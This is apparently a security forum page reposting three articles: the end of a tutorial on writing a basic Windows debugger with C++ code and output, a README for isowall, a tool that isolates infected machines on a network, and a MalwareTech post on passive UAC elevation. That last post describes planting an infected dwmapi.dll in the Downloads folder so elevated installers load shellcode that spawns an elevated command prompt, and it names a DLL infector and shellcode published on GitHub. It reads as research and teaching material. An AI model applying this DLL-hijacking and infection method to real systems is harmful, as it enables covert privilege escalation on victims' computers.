Debugger[COLOR=#008080]::[/COLOR][COLOR=#007788]DebuggerLoop[/COLOR][COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] DEBUG_EVENT dbgEvent [COLOR=#000080]=[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000dd]0[/COLOR] [COLOR=#008000]}[/COLOR][COLOR=#008080];[/COLOR] DWORD dwContinueStatus [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]0[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000ff]bool[/COLOR] bSuccess [COLOR=#000080]=[/COLOR] [COLOR=#0000ff]false[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000ff]while[/COLOR] [COLOR=#008000]([/COLOR]m_bIsActive[COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] bSuccess [COLOR=#000080]=[/COLOR] BOOLIFY[COLOR=#008000]([/COLOR]WaitForDebugEvent[COLOR=#008000]([/COLOR][COLOR=#000040]&[/COLOR]dbgEvent, INFINITE[COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000ff]if[/COLOR] [COLOR=#008000]([/COLOR][COLOR=#000040]![/COLOR]bSuccess[COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000dd]fprintf[/COLOR][COLOR=#008000]([/COLOR][COLOR=#0000ff]stderr[/COLOR], [COLOR=#FF0000]"WaitForDebugEvent returned failure. Error = %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR], GetLastError[COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000ff]return[/COLOR] [COLOR=#0000ff]false[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR] m_pEventHandler[COLOR=#000040]-[/COLOR][COLOR=#000080]>[/COLOR]Notify[COLOR=#008000]([/COLOR][COLOR=#008000]([/COLOR]DebugEvents[COLOR=#008000])[/COLOR]dbgEvent.[COLOR=#007788]dwDebugEventCode[/COLOR], dbgEvent[COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] dwContinueStatus [COLOR=#000080]=[/COLOR] m_pEventHandler[COLOR=#000040]-[/COLOR][COLOR=#000080]>[/COLOR]ContinueStatus[COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] bSuccess [COLOR=#000080]=[/COLOR] BOOLIFY[COLOR=#008000]([/COLOR]ContinueDebugEvent[COLOR=#008000]([/COLOR]dbgEvent.[COLOR=#007788]dwProcessId[/COLOR], dbgEvent.[COLOR=#007788]dwThreadId[/COLOR], dwContinueStatus[COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000ff]if[/COLOR] [COLOR=#008000]([/COLOR][COLOR=#000040]![/COLOR]bSuccess[COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000dd]fprintf[/COLOR][COLOR=#008000]([/COLOR][COLOR=#0000ff]stderr[/COLOR], [COLOR=#FF0000]"ContinueDebugEvent returned failure. Error = %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR], GetLastError[COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000ff]return[/COLOR] [COLOR=#0000ff]false[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR] [COLOR=#008000]}[/COLOR] [COLOR=#0000ff]return[/COLOR] [COLOR=#0000ff]true[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR][/TD] [/TR] [/TABLE] with m_pEventHandler being responsible for registering handlers and setting a continue status to be passed along to ContinueDebugEvent. The example code registers handlers for events/exceptions and outputs information relevant to each event/exception. The style below is followed for all events and exceptions: [TABLE] [TR] [TD="class: code"]Register[COLOR=#008000]([/COLOR]DebugEvents[COLOR=#008080]::[/COLOR][COLOR=#007788]eCreateThread[/COLOR], [COLOR=#008000][[/COLOR][COLOR=#000040]&[/COLOR][COLOR=#008000]][/COLOR][COLOR=#008000]([/COLOR][COLOR=#0000ff]const[/COLOR] DEBUG_EVENT [COLOR=#000040]&[/COLOR]dbgEvent[COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000ff]auto[/COLOR] [COLOR=#000040]&[/COLOR]info [COLOR=#000080]=[/COLOR] dbgEvent.[COLOR=#007788]u[/COLOR].[COLOR=#007788]CreateThread[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000dd]fprintf[/COLOR][COLOR=#008000]([/COLOR][COLOR=#0000ff]stderr[/COLOR], [COLOR=#FF0000]"CREATE_THREAD_DEBUG_EVENT received.[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"Handle: %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"TLS base: %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"Start address: %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR], info.[COLOR=#007788]hThread[/COLOR], info.[COLOR=#007788]lpThreadLocalBase[/COLOR], info.[COLOR=#007788]lpStartAddress[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] SetContinueStatus[COLOR=#008000]([/COLOR]DBG_CONTINUE[COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] Register[COLOR=#008000]([/COLOR]DebugEvents[COLOR=#008080]::[/COLOR][COLOR=#007788]eCreateProcess[/COLOR], [COLOR=#008000][[/COLOR][COLOR=#000040]&[/COLOR][COLOR=#008000]][/COLOR][COLOR=#008000]([/COLOR][COLOR=#0000ff]const[/COLOR] DEBUG_EVENT [COLOR=#000040]&[/COLOR]dbgEvent[COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000ff]auto[/COLOR] [COLOR=#000040]&[/COLOR]info [COLOR=#000080]=[/COLOR] dbgEvent.[COLOR=#007788]u[/COLOR].[COLOR=#007788]CreateProcessInfo[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000dd]fprintf[/COLOR][COLOR=#008000]([/COLOR][COLOR=#0000ff]stderr[/COLOR], [COLOR=#FF0000]"CREATE_PROCESS_DEBUG_EVENT received.[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"Handle (image file): %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"Handle (process): %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"Handle (main thread): %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"Image base address: %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"Debug info file offset: %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"Debug info size: %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"TLS base: %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR] [COLOR=#FF0000]"Start address: %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR], info.[COLOR=#007788]hFile[/COLOR], info.[COLOR=#007788]hProcess[/COLOR], info.[COLOR=#007788]hThread[/COLOR], info.[COLOR=#007788]lpBaseOfImage[/COLOR], info.[COLOR=#007788]dwDebugInfoFileOffset[/COLOR], info.[COLOR=#007788]nDebugInfoSize[/COLOR], info.[COLOR=#007788]lpThreadLocalBase[/COLOR], info.[COLOR=#007788]lpStartAddress[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] m_hProcess [COLOR=#000080]=[/COLOR] info.[COLOR=#007788]hProcess[/COLOR][COLOR=#008080];[/COLOR] SetContinueStatus[COLOR=#008000]([/COLOR]DBG_CONTINUE[COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR][/TD] [/TR] [/TABLE] That should be all that is really needed to get started on creating a basic debugger. This debugger features the ability attach/detach, handle debug events, and output information pertaining to these events. To test this out, we can create a simple program to generate an exception that will be caught by the debugger when it is attached. [TABLE] [TR] [TD="class: code"][COLOR=#339900]#include <stdio.h>[/COLOR] [COLOR=#339900]#include <Windows.h>[/COLOR] [COLOR=#0000ff]int[/COLOR] main[COLOR=#008000]([/COLOR][COLOR=#0000ff]int[/COLOR] argc, [COLOR=#0000ff]char[/COLOR] [COLOR=#000040]*[/COLOR]argv[COLOR=#008000][[/COLOR][COLOR=#008000]][/COLOR][COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000dd]printf[/COLOR][COLOR=#008000]([/COLOR][COLOR=#FF0000]"Press enter to raise an exception.[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]([/COLOR][COLOR=#0000ff]void[/COLOR][COLOR=#008000])[/COLOR][COLOR=#0000dd]getchar[/COLOR][COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000ff]if[/COLOR] [COLOR=#008000]([/COLOR]IsDebuggerPresent[COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] OutputDebugStringA[COLOR=#008000]([/COLOR][COLOR=#FF0000]"This should be seen by the debugger.[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] RaiseException[COLOR=#008000]([/COLOR]STATUS_ACCESS_VIOLATION, [COLOR=#0000dd]0[/COLOR], [COLOR=#0000dd]0[/COLOR], nullptr[COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR] [COLOR=#0000ff]else[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000dd]printf[/COLOR][COLOR=#008000]([/COLOR][COLOR=#FF0000]"Process was not being debugged.[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR] [COLOR=#0000ff]return[/COLOR] [COLOR=#0000dd]0[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR][/TD] [/TR] [/TABLE] Here is the output of the debugger upon attaching to the process and receiving the access violation: CREATE_PROCESS_DEBUG_EVENT received. Handle (image file): 4C Handle (process): 48 Handle (main thread): 44 Image base address: EE0000 Debug info file offset: 0 Debug info size: 0 TLS base: 7F03F000 Start address: 0 LOAD_DLL_DEBUG_EVENT received. Handle: 54 Base address: 77040000 Debug info file offset: 0 Debug info size: 0 Name: \\?\C:\Windows\SysWOW64\ntdll.dll LOAD_DLL_DEBUG_EVENT received. Handle: 5C Base address: 76A00000 Debug info file offset: 0 Debug info size: 0 Name: \\?\C:\Windows\SysWOW64\kernel32.dll LOAD_DLL_DEBUG_EVENT received. Handle: 50 Base address: 765D0000 Debug info file offset: 0 Debug info size: 0 Name: \\?\C:\Windows\SysWOW64\KernelBase.dll LOAD_DLL_DEBUG_EVENT received. Handle: 60 Base address: F7F0000 Debug info file offset: 0 Debug info size: 0 Name: \\?\C:\Windows\SysWOW64\msvcr120d.dll [COLOR=#ff9900]CREATE_THREAD_DEBUG_EVENT received. Handle: 64 TLS base: 7F03C000 Start address: 770EBCFC Received exception event. First chance exception: 1 Exception code: 80000003 Exception flags: 0 Exception address: 770670BC Number parameters (associated with exception): 1 Received breakpoint EXIT_THREAD_DEBUG_EVENT received. Thread 1B20 exited with code 0.[/COLOR] [COLOR=#ff0000]OUTPUT_DEBUG_STRING_EVENT received. Debug string: This should be seen by the debugger. Received exception event. First chance exception: 1 Exception code: C0000005 Exception flags: 0 Exception address: 765E2F71 Number parameters (associated with exception): 0 Received access violation Received exception event. First chance exception: 0 Exception code: C0000005 Exception flags: 0 Exception address: 765E2F71 Number parameters (associated with exception): 0 Received access violation EXIT_PROCESS_DEBUG_EVENT received. Process 390 exited with code C0000005.[/COLOR] As you can see from the output, the debugger receives a CREATE_PROCESS_DEBUG_EVENT upon attaching. This event is always the first one triggered upon a debugger attaching and lets the debugger obtain a handle to the process that lets the debugger read/write from process memory, change the processes thread contexts, etc. It also may give information about any sort of debug information relevant to the process. Following that are the events related to any loaded DLLs in the process address space. Afterwards two interesting events come up. They are a CREATE_THREAD_DEBUG_EVENT and an exception with an exception code corresponding to EXCEPTION_BREAKPOINT. These are covered in the section below. Lastly, the debugger successfully displays the debug string provided by the process, and shows the access violation also being successfully received. Since the debugger sample code does not terminate the process, you can see the exception being raised multiple times. Initially it is raised as a first chance exception, but comes back around around as a second/last chance exception since the target process was not able to handle it. The process then terminates with a status code corresponding to EXCEPTION_ACCESS_VIOLATION. What actually happens when a debugger is attached? One current mystery about the debugger output may be where those CREATE_THREAD_DEBUG_EVENT, breakpoint, and EXIT_THREAD_DEBUG_EVENT events came from. These events are triggered as a result of the debugger attaching to the process. When the DebugActiveProcess is called, it forwards on to the NtDebugActiveProcess syscall. This syscall is responsible for setting up the process to be in a debugable state, which at the very least involves changing the BeingDebugged flag of the Process Environment Block for the target process — this is how the IsDebuggerPresent function works in the target process to check if it is being debugged. Afterwards, a thread will be created in the target process. This thread will have a start address that corresponds to an 0xCC (int 3) instruction, better known as a breakpoint on x86 and x64 architectures. This is why the debugger displays as having received a breakpoint. When execution is continued, this thread exits the process begins executing normally again. Article Roadmap Future posts will be related on topics closely following the items below: Basics Adding/Removing Breakpoints, Single-stepping Call Stack, Registers, Contexts Symbols Miscellaneous Features The full source code relating to this can be found here. C++11 features were used, so MSVC 2012/2013 is most likely required. Sursa: Writing a Primitive Debugger: Part 1 (Basics) | RCE Endeavors
  23. isowall – Completely Isolate A Device From The Local Network Isowall is a mini-firewall that allows you to completely isolate a device from the local network. This is for allowing infected machines Internet access, but without endangering the local network. Building This project depends upon libpcap, and of course a C compiler. On Debian, the following should work: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 4 [/TD] [TD=class: crayon-code]# apt-get install git gcc make libpcap-dev # git clone https://github.com/robertdavidgraham/isowall # cd isowall # make [/TD] [/TR] [/TABLE] This will put the binary isowall in the local isowall/bin directory. This should also work on Windows, Mac OS X, xBSD, and pretty much any operating system that supports libpcap. Running First, setup a machine with three network interfaces. The first network interface (like eth0) will be configured as normal, with a TCP/IP stack, so that you can SSH to it. The other two network interfaces should have no TCP/IP stack, no IP address, no anything. This is the most important configuration step, and the most common thing you’ll get wrong. For example, the DHCP software on the box may be configured to automatically send out DHCP requests on these additional interfaces. You have to go fix that so nothing is bound to these interfaces. To run, simply type: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 [/TD] [TD=class: crayon-code]# ./bin/isowall --internal eth1 --external eth2 -c xxxx.conf [/TD] [/TR] [/TABLE] Configuration The following shows a typical configuration file [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums]1 2 3 4 5 6 7 8 9 10 11 12 [/TD] [TD=class: crayon-code]internal = eth1 internal.target.ip = 10.0.0.129 internal.target.mac = 02:60:8c:37:87:f3 external = eth2 external.router.ip = 10.0.0.1 external.router.mac = 66:55:44:33:22:11 allow = 0.0.0.0/0 block = 192.168.0.0/16 block = 10.0.0.0/8 block = 224.0.0.0-255.255.255.255 [/TD] [/TR] [/TABLE] You can download isowall here: master.zip Or read more here – the author can be found on Twitter here @erratarob. Sursa: isowall - Completely Isolate A Device From The Local Network - Darknet - The Darkside
  24. [h=1]Passive UAC Elevation[/h] I had a cool idea for a way to get the user to passively elevate your application without socially engineering them to do so or requiring exploits. Obviously you could just go ahead and start mass infecting executables, but that would cause a lot of unforeseen problems and would also mean digitally signed applications from trusted providers would now appear as untrusted files. A good alternative would be hijacking a single dll. I won't call this a "UAC Bypass" as it still requires the user to elevate an application (just not yours). [h=2]LoadLibrary[/h] This is something most people should already know, but I'll go ahead and clarify for anyone that doesn't. When an application calls LoadLibrary on a dll but doesn't supply the full path to the file: The system will first check the KnownDlls registry key for the path, if it's not found there, then the system will the look in the directory the application was executed from, before finally looking in system paths such as system32/syswow64. If you were to write a dll to the same path as an application and give it the same name as a commonly loaded system dll, it would likely be loaded by the application instead of the real thing; However, the dll must meet the following criteria. The application must load the dll by its name and not the full path (this is common). The dll must not exist in HKLM\SYSTEM\Control\Session Manager\KnownDLLs. The dll must match the process architecture (64-bit processes will quietly skip 32-bit dlls and vice versa). The dll should exist in system32 or syswow64, special paths don't appear to work. ZeroAccess abused this method to "social engineer" the user into elevating the file. This was done by downloading the Adobe Flash installer from the official site, writing the bot's dll to the same path as the installer, then running it. When the installer was executed, the user account control popup would state that the application was from a verified publisher "Adobe Systems Incorporated" and the user would probably allow it to elevate (resulting in the elevated installer loading the bot's malicious dll). [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Is it a real flash update? Is it just ZeroAccess? Nobody know.[/TD] [/TR] [/TABLE] [h=2]A Less Invasive Method[/h] What if there was a folder where 90% of the applications that require UAC elevation reside and what if it was writable from a non-elevated process? Well it turns out that folder exists: say hello to %userprofile%\Downloads\. You can probably see where I'm going with this. Although I wasn't expecting to find a dll that is loaded by most applications and meets all the criteria for a hijackable dll, after about 5 minutes of searching I found the motherload: dwmapi.dll. Not only does this dll meet all the criteria, but it appears to be loaded by all setup files... So let's make a hello world dll, name it dwmapi.dll, drop it to the downloads folder, and run a setup file. Success! The only problem here is that as soon as we start the setup it'll crash because we've replaced an important dll, however this is a fairly easy fix: dll infection. [h=2]Writing a DLL Infector[/h] My first idea was to simply add a new section header, change the NumberOfSections field in the PE header, then just append my section on to the end of the PE file. As it happens, directly after the last section header is the bound imports directory, which would be overwritten by our new section header. So after about 2 hours of writing an application to rebuild the entire PE from scratch, someone reminded me that the bound imports directory is just there to speed up the loading of imports and can simply be overwritten then disabled in the PE header. Following 15 minutes of holding CTRL + Z, I'm back to where I started and feeling a bit silly. An additional 2 lines of code has my infector working perfectly and we're ready to move on to the next step. The current infector simply disable and overwrite the bound imports directory with the new section header, append the new section to the end of the PE file, adjusts the SizeOfImage to accommodate the new section, then changes the AddressOfEntryPoint to point to our new section. All we need now is some code for the section. [h=2]The Shellcode[/h] The obvious choice was the make the new section execute shellcode so we don't have to worry about relocations or imports. The actual code is pretty simple and written using some handy FASM macros, I'll quickly run over how it works. Checks the stack to make sure that dwmapi.dll was called with DLL_PROCESS_ATTACH Navigates the PEB Ldr structure to get the base address of Kernel32 and Ntdll. Usess a simple GetProcAddress implementation to import the following functions: NtOpenProcessToken, NtQueryInformationToken, NtClose, ExpandEnvironmentStringsA, CreateProcessA. Opens the current process token and queries it to confirm the application we are running from is UAC elevated. Gets the path of cmd.exe then executes it (UAC elevated of course). Passes execution back to the real dwmapi.dll entry point so execution can continue. [h=2]Putting It All Together[/h] The final product infects dwmapi.dll with our shellcode and places it in the download folder, once the user downloads and runs a setup that requires UAC elevation, our elevated command prompt will be spawned ( Because of Wow64FsRedirect and the fact that most setups run under wow64, we can use the same code on 32-bit and 64-bit windows). I've uploaded the full infector and shellcode source to my github: https://github.com/MalwareTech/UACElevator Sursa: Passive UAC Elevation | MalwareTech
×
×
  • Create New...